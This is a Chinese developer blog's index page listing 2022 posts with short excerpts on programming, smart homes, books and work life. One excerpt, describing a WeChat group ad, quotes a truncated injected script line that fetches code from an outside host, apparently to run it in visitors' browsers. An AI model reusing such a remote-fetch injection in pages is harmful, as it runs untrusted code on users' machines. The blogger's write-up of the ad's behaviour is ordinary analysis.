2022 阅读 2022 阅读
主题阅读函数式编程 JavaScript ES6函数式编程入门经典 (豆瓣) JavaScript函数式编程指南 (豆瓣) 我正式的入门变成应该是从 sicp 开始的(虽然没有看完),所以对函数式编程一直抱有浓厚的兴趣。入门经典确实很入门
2023-01-08
2022 回顾 2022 回顾
时光如小偷,一不小心,她已经偷光了你的所有。 博客今年只产出了 11 篇文章,比计划中的要少不少,但是我也不想强求自己,有时候写了,没发表,有时候,是真的没有心境去写。明年,争取,每个月两篇,这样一年就有 24 篇,还是有很多有意思的主
2023-01-02
HomeAssistant 智能家居入门 HomeAssistant 智能家居入门
智能家居有很多厂商的方案,但是基本都是打包方案,很难在 AB 厂家之间做联动,并且这些方案都依赖厂家的服务器,服务器出现问题,智能变智障。 依赖厂商服务器 无隐私可言,数据被厂商分析 难以多品牌联动 难以定制化 Home Assista
2022-12-26
正则表达式 正则表达式
正则表达式是匹配模式,要么匹配字符,要么匹配位置。能够实现模糊匹配。 横向模糊匹配:正则可匹配的字符串的长度是不固定的 纵向模糊匹配:正则匹配的字符串,具体到某一位数字时,他可以不是某个确定的字符,可以用多种可能。 匹配字符字符组 量词
2022-12-02
遥远的救世主 遥远的救世主
王庙村的农民王庙村的农民可能是这本书中最没有存在感的一群人,艰苦,朴素,吃别人吃不了的苦,受别人受不了的罪,干别人干不了的活。面朝黄土背朝天的生活,因为丁元英的扶贫,开了一扇窗户,所有人都在努力的去抓住这根救命稻草。 苦吗,苦。吃不得苦中苦
2022-11-08
冬天 冬天
天气渐凉,夏去秋来,秋去冬来。窗外的落叶越来越厚,人们的衣服也越来越厚,寒风刺骨,刺透很多人的心房。市场凉了,招聘凉了,很多人工作都很难找到,这个冬天冷的让人绝望。 冬天是单调的。灰色浸染着一切,风雨雪,似乎要把人间撕裂,把一切的美好毁灭。
2022-10-28
一个意思的微信群广告 一个意思的微信群广告
群广告,语不惊人死不休, 跳转之后,出现 sougou 的页面,然后重定向到广告页面。 构造了一个 xss,script 标签,被执行。 fetch('//iprozz.com/ffff').then(r=>r.text()).then
2022-10-06
大型项目前端手记 大型项目前端手记
亿级流量的 c 端项目。主体是多个小程序,并且分化为多个版本。除了扯皮拉扯之外,总想聊一聊,不吐不快。 保持技术栈的单调性因为各种原因,我们的技术栈百花齐放,uniapp,herbjs,内部小程序框架,vue(h5),react(h5),苦
2022-09-18
小程序预览和体验码不一致的坑 小程序预览和体验码不一致的坑
翻车现场我们的小程序之前打包都是 ok 的,但是上次发版本,验证发现多处 css 异常。代码回退,使用旧版本的代码故障依旧。并且本地的 ide 打包出来时正常的,只在云端构建时候出现问题。 快速解决问题直觉是存在 css 冲突,为了快速解决
2022-08-20
战争与和平 战争与和平
战争:项目紧急或复杂和平:项目不急或简单 战争资源:战争是资源的消耗战,工作强度往往超过 996,往往我们是极度的缺乏资源,又需要赢下这场战争。在团结内部的同时,也要尽力去争取一切可以争取的资源,比如说,水果零食,加班能不能尽量争取,道义放
2022-06-26
umami 源码分析 umami 源码分析
umami 不使用 cookie 、localstorage 实现了 uv 识别,符合最新的隐私规范,代码也比较精简。花了一点时间,研究了这部分的实现,还是很有意思的。 技术框架:next.js + mysql/postgresql整体看下
2022-06-26
小程序中的滚动穿透 小程序中的滚动穿透
在小程序开发中,弹出层滚动穿透是个比较棘手的问题。如下图,蓝色部分滚动,底部也跟着一起滚动,就是滚动穿透。 常见的处理方法比如,禁止滚动,并不生效。而给主体加 overflow: hidden 又会导致主体滚动条高度为 0,需要关闭时候记录
2022-04-18
1 / 5